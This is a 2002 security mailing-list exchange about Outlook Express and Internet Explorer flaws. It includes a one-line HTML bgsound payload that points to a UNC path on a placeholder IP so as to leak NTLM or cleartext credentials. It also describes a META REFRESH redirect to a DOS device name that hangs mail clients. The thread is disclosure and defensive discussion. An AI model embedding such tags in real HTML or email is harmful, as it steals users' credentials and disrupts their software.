Re[2]: dH team & SECURITY.NNOV: special device access, information leakage and DoS in Outlook Express

[3APA3A <3APA3A () SECURITY NNOV RU>]

Dear Chad Loder,

You're right! <bgsound src=3D"\\111.111.111.111\new\file.wav"> causes IE
to    connect    to    111.111.111.111    via    NetBT.   Depending   on
LMCompatibilityLevel  it  may  cause user's cleartext password or NTLMv1
challenge to leak. It's very serious bug.


--Friday, May 17, 2002, 1:38:16 PM, you wrote to error () pochtamt ru:

CL> At Wednesday 5/15/2002 03:11 PM +0400, you wrote:

> > Title: Special device access and DoS in Microsoft Internet
> >        Exporer/Outlook Express/Outlook
> >
> > All  versions  of  Windows have a reserved filenames referred to special
> > devices such as prn, aux, nul, etc also called DOS devices.

CL> This might be related to a vulnerability that was reported to Microsoft
CL> on Mar 7 2001. See the BugTraq post:

CL>    http://online.securityfocus.com/archive/1/197926

CL> The META HTTP-EQUIV=REFRESH tag used to do the trick
CL> from Outlook and other email clients using the MS
CL> HTML viewer (e.g. Eudora). Redirecting to file://C:\PRN
CL> was sufficient to hang the browser or email client.

CL> Microsoft assigned the following internal tracking
CL> number to the issue: "MSRC 673au", and fixed it in
CL> MS00-17. Obviously they didn't do a good enough
CL> job, since you guys found a way to print files, etc. :)

CL> Another scary thing is that you can cause the computer to connect
CL> to arbitrary UNC paths, which as you know, involves sending
CL> NetBIOS credentials over the wire (a good reason to use egress
CL> filtering).

CL> +--------------------------------
CL> Chad Loder <chad () rapid7 com>
CL> Rapid 7, Inc.
CL> <http://www.rapid7.com>
CL> +--------------------------------



-- 
~/ZARAZA
Существую лишь я сам, никуда не летя. (Лем)